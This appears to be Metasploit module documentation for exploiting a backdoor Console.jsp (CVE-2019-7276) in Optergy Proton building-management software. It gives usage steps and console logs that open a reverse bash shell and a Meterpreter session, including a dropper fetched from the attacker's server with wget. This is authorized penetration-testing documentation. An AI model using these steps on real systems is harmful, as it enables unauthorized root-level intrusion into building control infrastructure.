## Vulnerable Application

This module exploits an undocumented backdoor vulnerability (CVE-2019-7276) in the Optergy Proton and Enterprise
Building Management System (BMS) applications. Versions `2.0.3a` and below are vulnerable.
Attackers can exploit this issue by directly navigating to an undocumented backdoor script called `Console.jsp`
in the tools directory and gain full system access.
Successful exploitation results in `root` command execution using `sudo` as user `optergy`.

Please check out this [AttackerKB Article](https://attackerkb.com/topics/QrYFIjnd3J/cve-2019-7276) for more info.

Installing a vulnerable test bed requires a Linux machine with the vulnerable software loaded.
Follow instructions [Optergy OVA Download](https://github.com/h00die-gr3y/Metasploit/tree/main/images),
to download an OVA image with a vulnerable Optergy Proton application (v2.0.3a) installed.

This module has been tested against a Optergy Proton installation with the specifications listed below:

* Optergy Proton
* Version: `2.0.3a`
* Linux OS: Debian 7.11

## Verification Steps

1. `use exploit/linux/http/optergy_bms_backdoor_rce_cve_2019_7276`
1. `set RHOSTS <TARGET HOSTS>`
1. `set RPORT <port>`
1. `set LHOST <attacker host ip>`
1. `set LPORT <attacker host port>`
1. `set TARGET <0-Unix command, 1-Linux Dropper>`
1. `exploit`
1. You should get a `bash` shell or `meterpreter` session depending on the target and payload settings.

## Options
Option SUDO can be set to escalate to root privileges. Default setting is false.

## Scenarios

### Optergy Proton 2.0.3a on Debian Linux 7.11 - bash reverse shell
```
msf exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > check
[+] 192.168.201.31:80 - The target is vulnerable.
msf exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > options

Module options (exploit/linux/http/optergy_bms_backdoor_rce_cve_2019_7276):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.201.31   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploi
                                       t/basics/using-metasploit.html
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   SUDO     false            yes       Set the sudo option to get root privileges
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an addres
                                       s on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.201.10   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command



View the full module info with the info, or info -d command.

msf exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > exploit

[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Executing Unix Command for cmd/unix/reverse_bash
[*] Command shell session 1 opened (192.168.201.10:4444 -> 192.168.201.31:43322) at 2023-03-22 12:45:22 +0000

whoami
optergy
uname -a
Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.96-2 x86_64 GNU/Linux
exit
[*] 192.168.201.31 - Command shell session 1 closed.
```
### Optergy Proton 2.0.3a on Debian Linux 7.11 - Linux Dropper Meterpreter session
```
msf exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > set target 1
target => 1
msf exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > options

Module options (exploit/linux/http/optergy_bms_backdoor_rce_cve_2019_7276):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.201.31   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploi
                                       t/basics/using-metasploit.html
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   SUDO     false            yes       Set the sudo option to get root privileges
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,certutil,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an addres
                                       s on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.201.10   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper



View the full module info with the info, or info -d command.

msf exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > exploit

[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Using URL: http://192.168.201.10:8080/JKGheHgpr9TQf
[*] Client 192.168.201.31 (Wget/1.13.4 (linux-gnu)) requested /JKGheHgpr9TQf
[*] Sending payload to 192.168.201.31 (Wget/1.13.4 (linux-gnu))
[*] Sending stage (3045348 bytes) to 192.168.201.31
[*] Meterpreter session 2 opened (192.168.201.10:4444 -> 192.168.201.31:43377) at 2023-03-22 12:46:57 +0000
[*] Command Stager progress - 100.00% done (120/120 bytes)
[*] Server stopped.

meterpreter > getuid
Server username: optergy
meterpreter > sysinfo
Computer     : 192.168.201.31
OS           : Debian 7.11 (Linux 3.2.0-4-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > exit
```

## Limitations
No limitations identified.
